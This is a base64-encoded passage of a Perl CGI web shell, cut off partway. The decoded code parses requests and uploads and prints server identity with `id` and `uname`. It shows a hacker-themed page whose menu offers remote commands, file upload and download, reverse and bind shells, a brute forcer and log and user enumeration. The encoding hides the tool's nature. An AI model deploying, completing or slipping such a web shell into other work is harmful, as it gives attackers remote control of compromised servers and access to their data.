Q21kUHdkID0gKCRXaW5OVCA/ICJjZCIgOiAicHdkIik7CiRQYXRoU2VwID0gKCRXaW5OVCA/ICJcXCIgOiAiLyIpOwokUmVkaXJlY3RvciA9ICgkV2luTlQgPyAiIDI+JjEgMT4mMiIgOiAiIDE+JjEgMj4mMSIpOwokY29scz0gMTMwOwokcm93cz0gMjY7CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBSZWFkcyB0aGUgaW5wdXQgc2VudCBieSB0aGUgYnJvd3NlciBhbmQgcGFyc2VzIHRoZSBpbnB1dCB2YXJpYWJsZXMuIEl0CiMgcGFyc2VzIEdFVCwgUE9TVCBhbmQgbXVsdGlwYXJ0L2Zvcm0tZGF0YSB0aGF0IGlzIHVzZWQgZm9yIHVwbG9hZGluZyBmaWxlcy4KIyBUaGUgZmlsZW5hbWUgaXMgc3RvcmVkIGluICRpbnsnZid9IGFuZCB0aGUgZGF0YSBpcyBzdG9yZWQgaW4gJGlueydmaWxlZGF0YSd9LgojIE90aGVyIHZhcmlhYmxlcyBjYW4gYmUgYWNjZXNzZWQgdXNpbmcgJGlueyd2YXInfSwgd2hlcmUgdmFyIGlzIHRoZSBuYW1lIG9mCiMgdGhlIHZhcmlhYmxlLiBOb3RlOiBNb3N0IG9mIHRoZSBjb2RlIGluIHRoaXMgZnVuY3Rpb24gaXMgdGFrZW4gZnJvbSBvdGhlciBDR0kKIyBzY3JpcHRzLgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBSZWFkUGFyc2UgCnsKCWxvY2FsICgqaW4pID0gQF8gaWYgQF87Cglsb2NhbCAoJGksICRsb2MsICRrZXksICR2YWwpOwoJJE11bHRpcGFydEZvcm1EYXRhID0gJEVOVnsnQ09OVEVOVF9UWVBFJ30gPX4gL211bHRpcGFydFwvZm9ybS1kYXRhOyBib3VuZGFyeT0oLispJC87CglpZigkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICJHRVQiKQoJewoJCSRpbiA9ICRFTlZ7J1FVRVJZX1NUUklORyd9OwoJfQoJZWxzaWYoJEVOVnsnUkVRVUVTVF9NRVRIT0QnfSBlcSAiUE9TVCIpCgl7CgkJYmlubW9kZShTVERJTikgaWYgJE11bHRpcGFydEZvcm1EYXRhICYgJFdpbk5UOwoJCXJlYWQoU1RESU4sICRpbiwgJEVOVnsnQ09OVEVOVF9MRU5HVEgnfSk7Cgl9CgkjIGhhbmRsZSBmaWxlIHVwbG9hZCBkYXRhCglpZigkRU5WeydDT05URU5UX1RZUEUnfSA9fiAvbXVsdGlwYXJ0XC9mb3JtLWRhdGE7IGJvdW5kYXJ5PSguKykkLykKCXsKCQkkQm91bmRhcnkgPSAnLS0nLiQxOyAjIHBsZWFzZSByZWZlciB0byBSRkMxODY3IAoJCUBsaXN0ID0gc3BsaXQoLyRCb3VuZGFyeS8sICRpbik7IAoJCSRIZWFkZXJCb2R5ID0gJGxpc3RbMV07CgkJJEhlYWRlckJvZHkgPX4gL1xyXG5cclxufFxuXG4vOwoJCSRIZWFkZXIgPSAkYDsKCQkkQm9keSA9ICQnOwogCQkkQm9keSA9fiBzL1xyXG4kLy87ICMgdGhlIGxhc3QgXHJcbiB3YXMgcHV0IGluIGJ5IE5ldHNjYXBlCgkJJGlueydmaWxlZGF0YSd9ID0gJEJvZHk7CgkJJEhlYWRlciA9fiAvZmlsZW5hbWU9XCIoLispXCIvOyAKCQkkaW57J2YnfSA9ICQxOyAKCQkkaW57J2YnfSA9fiBzL1wiLy9nOwoJCSRpbnsnZid9ID1+IHMvXHMvL2c7CgoJCSMgcGFyc2UgdHJhaWxlcgoJCWZvcigkaT0yOyAkbGlzdFskaV07ICRpKyspCgkJeyAKCQkJJGxpc3RbJGldID1+IHMvXi4rbmFtZT0kLy87CgkJCSRsaXN0WyRpXSA9fiAvXCIoXHcrKVwiLzsKCQkJJGtleSA9ICQxOwoJCQkkdmFsID0gJCc7CgkJCSR2YWwgPX4gcy8oXihcclxuXHJcbnxcblxuKSl8KFxyXG4kfFxuJCkvL2c7CgkJCSR2YWwgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7CgkJCSRpbnska2V5fSA9ICR2YWw7IAoJCX0KCX0KCWVsc2UgIyBzdGFuZGFyZCBwb3N0IGRhdGEgKHVybCBlbmNvZGVkLCBub3QgbXVsdGlwYXJ0KQoJewoJCUBpbiA9IHNwbGl0KC8mLywgJGluKTsKCQlmb3JlYWNoICRpICgwIC4uICQjaW4pCgkJewoJCQkkaW5bJGldID1+IHMvXCsvIC9nOwoJCQkoJGtleSwgJHZhbCkgPSBzcGxpdCgvPS8sICRpblskaV0sIDIpOwoJCQkka2V5ID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOwoJCQkkdmFsID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOwoJCQkkaW57JGtleX0gLj0gIlwwIiBpZiAoZGVmaW5lZCgkaW57JGtleX0pKTsKCQkJJGlueyRrZXl9IC49ICR2YWw7CgkJfQoJfQp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBmdW5jdGlvbiBFbmNvZGVEaXI6IGVuY29kZSBiYXNlNjQgUGF0aAojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBFbmNvZGVEaXIKewoJbXkgJGRpciA9IHNoaWZ0OwoJJGRpciA9IHRyaW0oZW5jb2RlX2Jhc2U2NCgkZGlyKSk7CgkkZGlyID1+IHMvKFxyfFxuKS8vOwoJcmV0dXJuICRkaXI7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBQYWdlIEhlYWRlcgojIEFyZ3VtZW50IDE6IEZvcm0gaXRlbSBuYW1lIHRvIHdoaWNoIGZvY3VzIHNob3VsZCBiZSBzZXQKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRQYWdlSGVhZGVyCnsKCSRFbmNvZGVDdXJyZW50RGlyID0gRW5jb2RlRGlyKCRDdXJyZW50RGlyKTsKCW15ICRpZCA9IGBpZGAgaWYoISRXaW5OVCk7CglteSAkaW5mbyA9IGB1bmFtZSAtcyAtbiAtciAtaWA7CglwcmludCAiQ29udGVudC10eXBlOiB0ZXh0L2h0bWxcblxuIjsKCXByaW50IDw8RU5EOwo8aHRtbD4KPGhlYWQ+CjxtZXRhIGh0dHAtZXF1aXY9ImNvbnRlbnQtdHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PVVURi04Ij4KPHRpdGxlPiRFTlZ7J1NFUlZFUl9OQU1FJ30gfCBJUCA6ICRFTlZ7J1NFUlZFUl9BRERSJ30gPC90aXRsZT4KJEh0bWxNZXRhSGVhZGVyCjwvaGVhZD4KPHN0eWxlPgpib2R5ewpmb250OiAxMHB0IFZlcmRhbmE7CmNvbG9yOiAjZmZmOwp9CnRyLHRkLHRhYmxlLGlucHV0LHRleHRhcmVhIHsKQk9SREVSLVJJR0hUOiAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1UT1A6ICAgICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItTEVGVDogICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLUJPVFRPTTogIzNlM2UzZSAxcHggc29saWQ7Cn0KI2RvbWFpbiB0cjpob3ZlcnsKYmFja2dyb3VuZC1jb2xvcjogIzQ0NDsKfQp0ZCB7CmNvbG9yOiAjZmZmZmZmOwp9Ci5saXN0ZGlyIHRkewoJdGV4dC1hbGlnbjogY2VudGVyOwp9Ci5saXN0ZGlyIHRoewoJY29sb3I6ICNGRjk5MDA7Cn0KLmRpciwuZmlsZQp7Cgl0ZXh0LWFsaWduOiBsZWZ0ICFpbXBvcnRhbnQ7Cn0KLmRpcnsKCWZvbnQtc2l6ZTogMTBwdDsgCglmb250LXdlaWdodDogYm9sZDsKfQp0YWJsZSB7CkJBQ0tHUk9VTkQtQ09MT1I6ICMxMTE7Cn0KaW5wdXQgewpCQUNLR1JPVU5ELUNPTE9SOiBCbGFjazsKY29sb3I6ICNmZjk5MDA7Cn0KaW5wdXQuc3VibWl0IHsKdGV4dC1zaGFkb3c6IDBwdCAwcHQgMC4zZW0gY3lhbiwgMHB0IDBwdCAwLjNlbSBjeWFuOwpjb2xvcjogI0ZGRkZGRjsKYm9yZGVyLWNvbG9yOiAjMDA5OTAwOwp9CmNvZGUgewpib3JkZXI6IGRhc2hlZCAwcHggIzMzMzsKY29sb3I6IHdoaWxlOwp9CnJ1biB7CmJvcmRlcgkJCTogZGFzaGVkIDBweCAjMzMzOwpjb2xvcjogI0ZGMDBBQTsKfQp0ZXh0YXJlYSB7CkJBQ0tHUk9VTkQtQ09MT1I6ICMxYjFiMWI7CmZvbnQ6IEZpeGVkc3lzIGJvbGQ7CmNvbG9yOiAjYWFhOwp9CkE6bGluayB7CglDT0xPUjogI2ZmZmZmZjsgVEVYVC1ERUNPUkFUSU9OOiBub25lCn0KQTp2aXNpdGVkIHsKCUNPTE9SOiAjZmZmZmZmOyBURVhULURFQ09SQVRJT046IG5vbmUKfQpBOmhvdmVyIHsKCXRleHQtc2hhZG93OiAwcHQgMHB0IDAuM2VtIGN5YW4sIDBwdCAwcHQgMC4zZW0gY3lhbjsKCWNvbG9yOiAjRkZGRkZGOyBURVhULURFQ09SQVRJT046IG5vbmUKfQpBOmFjdGl2ZSB7Cgljb2xvcjogUmVkOyBURVhULURFQ09SQVRJT046IG5vbmUKfQoubGlzdGRpciB0cjpob3ZlcnsKCWJhY2tncm91bmQ6ICM0NDQ7Cn0KLmxpc3RkaXIgdHI6aG92ZXIgdGR7CgliYWNrZ3JvdW5kOiAjNDQ0OwoJdGV4dC1zaGFkb3c6IDBwdCAwcHQgMC4zZW0gY3lhbiwgMHB0IDBwdCAwLjNlbSBjeWFuOwoJY29sb3I6ICNGRkZGRkY7IFRFWFQtREVDT1JBVElPTjogbm9uZTsKfQoubm90bGluZXsKCWJhY2tncm91bmQ6ICMxMTE7Cn0KLmxpbmV7CgliYWNrZ3JvdW5kOiAjMjIyOwp9Cjwvc3R5bGU+CjxzY3JpcHQgbGFuZ3VhZ2U9ImphdmFzY3JpcHQiPgpmdW5jdGlvbiBFbmNvZGVyKG5hbWUpCnsKCXZhciBlID0gIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKG5hbWUpOwoJZS52YWx1ZSA9IGJ0b2EoZS52YWx1ZSk7CglyZXR1cm4gdHJ1ZTsKfQpmdW5jdGlvbiBjaG1vZF9mb3JtKGksZmlsZSkKewoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIkZpbGVQZXJtc18iK2kpLmlubmVySFRNTD0iPGZvcm0gbmFtZT1Gb3JtUGVybXNfIiArIGkrICIgYWN0aW9uPScnIG1ldGhvZD0nUE9TVCc+PGlucHV0IGlkPXRleHRfIiArIGkgKyAiICBuYW1lPWNobW9kIHR5cGU9dGV4dCBzaXplPTUgLz48aW5wdXQgdHlwZT1zdWJtaXQgY2xhc3M9J3N1Ym1pdCcgdmFsdWU9T0s+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YSB2YWx1ZT0nZ3VpJz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1kIHZhbHVlPSckRW5jb2RlQ3VycmVudERpcic+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZiB2YWx1ZT0nIitmaWxlKyInPjwvZm9ybT4iOwoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInRleHRfIiArIGkpLmZvY3VzKCk7Cn0KZnVuY3Rpb24gcm1fY2htb2RfZm9ybShyZXNwb25zZSxpLHBlcm1zLGZpbGUpCnsKCXJlc3BvbnNlLmlubmVySFRNTCA9ICI8c3BhbiBvbmNsaWNrPVxcXCJjaG1vZF9mb3JtKCIgKyBpICsgIiwnIisgZmlsZSsgIicpXFxcIiA+IisgcGVybXMgKyI8L3NwYW4+PC90ZD4iOwp9CmZ1bmN0aW9uIHJlbmFtZV9mb3JtKGksZmlsZSxmKQp7CglmLnJlcGxhY2UoL1xcXFwvZywiXFxcXFxcXFwiKTsKCXZhciBiYWNrPSJybV9yZW5hbWVfZm9ybSgiK2krIixcXFwiIitmaWxlKyJcXFwiLFxcXCIiK2YrIlxcXCIpOyByZXR1cm4gZmFsc2U7IjsKCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJGaWxlXyIraSkuaW5uZXJIVE1MPSI8Zm9ybSBuYW1lPUZvcm1QZXJtc18iICsgaSsgIiBhY3Rpb249JycgbWV0aG9kPSdQT1NUJz48aW5wdXQgaWQ9dGV4dF8iICsgaSArICIgIG5hbWU9cmVuYW1lIHR5cGU9dGV4dCB2YWx1ZT0gJyIrZmlsZSsiJyAvPjxpbnB1dCB0eXBlPXN1Ym1pdCBjbGFzcz0nc3VibWl0JyB2YWx1ZT1PSz48aW5wdXQgdHlwZT1zdWJtaXQgY2xhc3M9J3N1Ym1pdCcgb25jbGljaz0nIiArIGJhY2sgKyAiJyB2YWx1ZT1DYW5jZWw+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YSB2YWx1ZT0nZ3VpJz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1kIHZhbHVlPSckRW5jb2RlQ3VycmVudERpcic+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZiB2YWx1ZT0nIitmaWxlKyInPjwvZm9ybT4iOwoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInRleHRfIiArIGkpLmZvY3VzKCk7Cn0KZnVuY3Rpb24gcm1fcmVuYW1lX2Zvcm0oaSxmaWxlLGYpCnsKCWlmKGY9PSdmJykKCXsKCQlkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiRmlsZV8iK2kpLmlubmVySFRNTD0iPGEgaHJlZj0nP2E9Y29tbWFuZCZkPSRFbmNvZGVDdXJyZW50RGlyJmM9ZWRpdCUyMCIrZmlsZSsiJTIwJz4iICtmaWxlKyAiPC9hPiI7Cgl9ZWxzZQoJewoJCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJGaWxlXyIraSkuaW5uZXJIVE1MPSI8YSBocmVmPSc/YT1ndWkmZD0iK2YrIic+WyAiICtmaWxlKyAiIF08L2E+IjsKCX0KfQo8L3NjcmlwdD4KPGJvZHkgb25Mb2FkPSJkb2N1bWVudC5mLkBfLmZvY3VzKCkiIGJnY29sb3I9IiMwYzBjMGMiIHRvcG1hcmdpbj0iMCIgbGVmdG1hcmdpbj0iMCIgbWFyZ2lud2lkdGg9IjAiIG1hcmdpbmhlaWdodD0iMCI+CjxjZW50ZXI+PGNvZGU+Cjx0YWJsZSBib3JkZXI9IjEiIHdpZHRoPSIxMDAlIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjIiPgo8dHI+Cgk8dGQgYWxpZ249ImNlbnRlciIgcm93c3Bhbj0zPgoJCTxiPjxmb250IHNpemU9IjMiPiRFZGl0UGVyc2lvbjwvZm9udD48L2I+Cgk8L3RkPgoJPHRkPgoJCSRpbmZvCgk8L3RkPgoJPHRkPlNlcnZlciBJUDo8Zm9udCBjb2xvcj0icmVkIj4gJEVOVnsnU0VSVkVSX0FERFInfTwvZm9udD4gfCBZb3VyIElQOiA8Zm9udCBjb2xvcj0icmVkIj4kRU5WeydSRU1PVEVfQUREUid9PC9mb250PgoJPC90ZD4KPC90cj4KPHRyPgo8dGQgY29sc3Bhbj0iMiI+CjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbiI+SG9tZTwvYT4gfCAKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9Y29tbWFuZCZkPSRFbmNvZGVDdXJyZW50RGlyIj5Db21tYW5kPC9hPiB8CjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWd1aSZkPSRFbmNvZGVDdXJyZW50RGlyIj5HVUk8L2E+IHwgCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPXVwbG9hZCZkPSRFbmNvZGVDdXJyZW50RGlyIj5VcGxvYWQgRmlsZTwvYT4gfCAKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9ZG93bmxvYWQmZD0kRW5jb2RlQ3VycmVudERpciI+RG93bmxvYWQgRmlsZTwvYT4gfAo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1iYWNrYmluZCI+QmFjayAmIEJpbmQ8L2E+IHwKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9YnJ1dGVmb3JjZXIiPkJydXRlIEZvcmNlcjwvYT4gfAo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1jaGVja2xvZyI+Q2hlY2sgTG9nPC9hPiB8CjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWRvbWFpbnN1c2VyIj5Eb21haW5zL1VzZXJzPC9hPiB8CjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWxvZ291dCI+TG9nb3V0PC9hPiB8CjxhIHRhcmdldD0nX2JsYW5rJyBocmVmPSIuLi9lcnJvcl9sb2cucGhwIj5IZWxwPC9hPgo8L3RkPgo8L3RyPgo8dHI+Cjx0ZCBjb2xzcGFuPSIyIj4KJGlkCjwvdGQ+CjwvdHI+CjwvdGFibGU+Cjxmb250IGlkPSJSZXNwb25zZURhdGEiIGNvbG9yPSIjRkZGRkZGIiA+CkVORAp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIExvZ2luIFNjcmVlbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludExvZ2luU2NyZWVuCnsKCXByaW50IDw8RU5EOwo8cHJlPjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4KVHlwaW5nVGV4dCA9IGZ1bmN0aW9uKGVsZW1lbnQsIGludGVydmFsLCBjdXJzb3IsIGZpbmlzaGVkQ2FsbGJhY2spIHsKICBpZigodHlwZW9mIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkID09ICJ1bmRlZmluZWQiKSB8fCAodHlwZW9mIGVsZW1lbnQuaW5uZXJIVE1MID09ICJ1bmRlZmluZWQiKSkgewogICAgdGhpcy5ydW5uaW5nID0gdHJ1ZTsJLy8gTmV2ZXIgcnVuLgogICAgcmV0dXJuOwogIH0KICB0aGlzLmVsZW1lbnQgPSBlbGVtZW50OwogIHRoaXMuZmluaXNoZWRDYWxsYmFjayA9IChmaW5pc2hlZENhbGxiYWNrID8gZmluaXNoZWRDYWxsYmFjayA6IGZ1bmN0aW9uKCkgeyByZXR1cm47IH0pOwogIHRoaXMuaW50ZXJ2YWwgPSAodHlwZW9mIGludGVydmFsID09ICJ1bmRlZmluZWQiID8gMTAwIDogaW50ZXJ2YWwpOwogIHRoaXMub3JpZ1RleHQgPSB0aGlzLmVsZW1lbnQuaW5uZXJIVE1MOwogIHRoaXMudW5wYXJzZWRPcmlnVGV4dCA9IHRoaXMub3JpZ1RleHQ7CiAgdGhpcy5jdXJzb3IgPSAoY3Vyc29yID8gY3Vyc29yIDogIiIpOwogIHRoaXMuY3VycmVudFRleHQgPSAiIjsKICB0aGlzLmN1cnJlbnRDaGFyID0gMDsKICB0aGlzLmVsZW1lbnQudHlwaW5nVGV4dCA9IHRoaXM7CiAgaWYodGhpcy5lbGVtZW50LmlkID09ICIiKSB0aGlzLmVsZW1lbnQuaWQgPSAidHlwaW5ndGV4dCIgKyBUeXBpbmdUZXh0LmN1cnJlbnRJbmRleCsrOwogIFR5cGluZ1RleHQuYWxsLnB1c2godGhpcyk7CiAgdGhpcy5ydW5uaW5nID0gZmFsc2U7CiAgdGhpcy5pblRhZyA9IGZhbHNlOwogIHRoaXMudGFnQnVmZmVyID0gIiI7CiAgdGhpcy5pbkhUTUxFbnRpdHkgPSBmYWxzZTsKICB0aGlzLkhUTUxFbnRpdHlCdWZmZXIgPSAiIjsKfQpUeXBpbmdUZXh0LmFsbCA9IG5ldyBBcnJheSgpOwpUeXBpbmdUZXh0LmN1cnJlbnRJbmRleCA9IDA7ClR5cGluZ1RleHQucnVuQWxsID0gZnVuY3Rpb24oKSB7CiAgZm9yKHZhciBpID0gMDsgaSA8IFR5cGluZ1RleHQuYWxsLmxlbmd0aDsgaSsrKSBUeXBpbmdUZXh0LmFsbFtpXS5ydW4oKTsKfQpUeXBpbmdUZXh0LnByb3RvdHlwZS5ydW4gPSBmdW5jdGlvbigpIHsKICBpZih0aGlzLnJ1bm5pbmcpIHJldHVybjsKICBpZih0eXBlb2YgdGhpcy5vcmlnVGV4dCA9PSAidW5kZWZpbmVkIikgewogICAgc2V0VGltZW91dCgiZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJyIgKyB0aGlzLmVsZW1lbnQuaWQgKyAiJykudHlwaW5nVGV4dC5ydW4oKSIsIHRoaXMuaW50ZXJ2YWwpOwkvLyBXZSBoYXZlbid0IGZpbmlzaGVkIGxvYWRpbmcgeWV0LiAgSGF2ZSBwYXRpZW5jZS4KICAgIHJldHVybjsKICB9CiAgaWYodGhpcy5jdXJyZW50VGV4dCA9PSAiIikgdGhpcy5lbGVtZW50LmlubmVySFRNTCA9ICIiOwovLyAgdGhpcy5vcmlnVGV4dCA9IHRoaXMub3JpZ1RleHQucmVwbGFjZSgvPChbXjxdKSo+LywgIiIpOyAgICAgLy8gU3RyaXAgSFRNTCBmcm9tIHRleHQuCiAgaWYodGhpcy5jdXJyZW50Q2hhciA8IHRoaXMub3JpZ1RleHQubGVuZ3RoKSB7CiAgICBpZih0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKSA9PSAiPCIgJiYgIXRoaXMuaW5UYWcpIHsKICAgICAgdGhpcy50YWdCdWZmZXIgPSAiPCI7CiAgICAgIHRoaXMuaW5UYWcgPSB0cnVlOwogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7CiAgICAgIHRoaXMucnVuKCk7CiAgICAgIHJldHVybjsKICAgIH0gZWxzZSBpZih0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKSA9PSAiPiIgJiYgdGhpcy5pblRhZykgewogICAgICB0aGlzLnRhZ0J1ZmZlciArPSAiPiI7CiAgICAgIHRoaXMuaW5UYWcgPSBmYWxzZTsKICAgICAgdGhpcy5jdXJyZW50VGV4dCArPSB0aGlzLnRhZ0J1ZmZlcjsKICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOwogICAgICB0aGlzLnJ1bigpOwogICAgICByZXR1cm47CiAgICB9IGVsc2UgaWYodGhpcy5pblRhZykgewogICAgICB0aGlzLnRhZ0J1ZmZlciArPSB0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKTsKICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOwogICAgICB0aGlzLnJ1bigpOwogICAgICByZXR1cm47CiAgICB9IGVsc2UgaWYodGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcikgPT0gIiYiICYmICF0aGlzLmluSFRNTEVudGl0eSkgewogICAgICB0aGlzLkhUTUxFbnRpdHlCdWZmZXIgPSAiJiI7CiAgICAgIHRoaXMuaW5IVE1MRW50aXR5ID0gdHJ1ZTsKICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOwogICAgICB0aGlzLnJ1bigpOwogICAgICByZXR1cm47CiAgICB9IGVsc2UgaWYodGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcikgPT0gIjsiICYmIHRoaXMuaW5IVE1MRW50aXR5KSB7CiAgICAgIHRoaXMuSFRNTEVudGl0eUJ1ZmZlciArPSAiOyI7CiAgICAgIHRoaXMuaW5IVE1MRW50aXR5ID0gZmFsc2U7CiAgICAgIHRoaXMuY3VycmVudFRleHQgKz0gdGhpcy5IVE1MRW50aXR5QnVmZmVyOwogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7CiAgICAgIHRoaXMucnVuKCk7CiAgICAgIHJldHVybjsKICAgIH0gZWxzZSBpZih0aGlzLmluSFRNTEVudGl0eSkgewogICAgICB0aGlzLkhUTUxFbnRpdHlCdWZmZXIgKz0gdGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcik7CiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsKICAgICAgdGhpcy5ydW4oKTsKICAgICAgcmV0dXJuOwogICAgfSBlbHNlIHsKICAgICAgdGhpcy5jdXJyZW50VGV4dCArPSB0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKTsKICAgIH0KICAgIHRoaXMuZWxlbWVudC5pbm5lckhUTUwgPSB0aGlzLmN1cnJlbnRUZXh0OwogICAgdGhpcy5lbGVtZW50LmlubmVySFRNTCArPSAodGhpcy5jdXJyZW50Q2hhciA8IHRoaXMub3JpZ1RleHQubGVuZ3RoIC0gMSA/ICh0eXBlb2YgdGhpcy5jdXJzb3IgPT0gImZ1bmN0aW9uIiA/IHRoaXMuY3Vyc29yKHRoaXMuY3VycmVudFRleHQpIDogdGhpcy5jdXJzb3IpIDogIiIpOwogICAgdGhpcy5jdXJyZW50Q2hhcisrOwogICAgc2V0VGltZW91dCgiZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJyIgKyB0aGlzLmVsZW1lbnQuaWQgKyAiJykudHlwaW5nVGV4dC5ydW4oKSIsIHRoaXMuaW50ZXJ2YWwpOwogIH0gZWxzZSB7Cgl0aGlzLmN1cnJlbnRUZXh0ID0gIiI7Cgl0aGlzLmN1cnJlbnRDaGFyID0gMDsKICAgICAgICB0aGlzLnJ1bm5pbmcgPSBmYWxzZTsKICAgICAgICB0aGlzLmZpbmlzaGVkQ2FsbGJhY2soKTsKICB9Cn0KPC9zY3JpcHQ+CjwvcHJlPgoKPGJyPgoKPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPgpuZXcgVHlwaW5nVGV4dChkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiaGFjayIpLCAzMCwgZnVuY3Rpb24oaSl7IHZhciBhciA9IG5ldyBBcnJheSgiXyIsIiIpOyByZXR1cm4gIiAiICsgYXJbaS5sZW5ndGggJSBhci5sZW5ndGhdOyB9KTsKVHlwaW5nVGV4dC5ydW5BbGwoKTsKCjwvc2NyaXB0PgpFTkQKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgZW5jb2RlIGh0bWwgc3BlY2lhbCBjaGFycwojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBVcmxFbmNvZGUoJCl7CglteSAkc3RyID0gc2hpZnQ7Cgkkc3RyID1+IHMvKFteQS1aYS16MC05XSkvc3ByaW50ZigiJSUlMDJYIiwgb3JkKCQxKSkvc2VnOwoJcmV0dXJuICRzdHI7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIEFkZCBodG1sIHNwZWNpYWwgY2hhcnMKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgSHRtbFNwZWNpYWxDaGFycygkKXsKCW15ICR0ZXh0ID0gc2hpZnQ7CgkkdGV4dCA9fiBzLyYvJmFtcDsvZzsKCSR0ZXh0ID1+IHMvIi8mcXVvdDsvZzsKCSR0ZXh0ID1+IHMvJy8mIzAzOTsvZzsKCSR0ZXh0ID1+IHMvPC8mbHQ7L2c7CgkkdGV4dCA9fiBzLz4vJmd0Oy9nOwoJcmV0dXJuICR0ZXh0Owp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBBZGQgbGluayBmb3IgZGly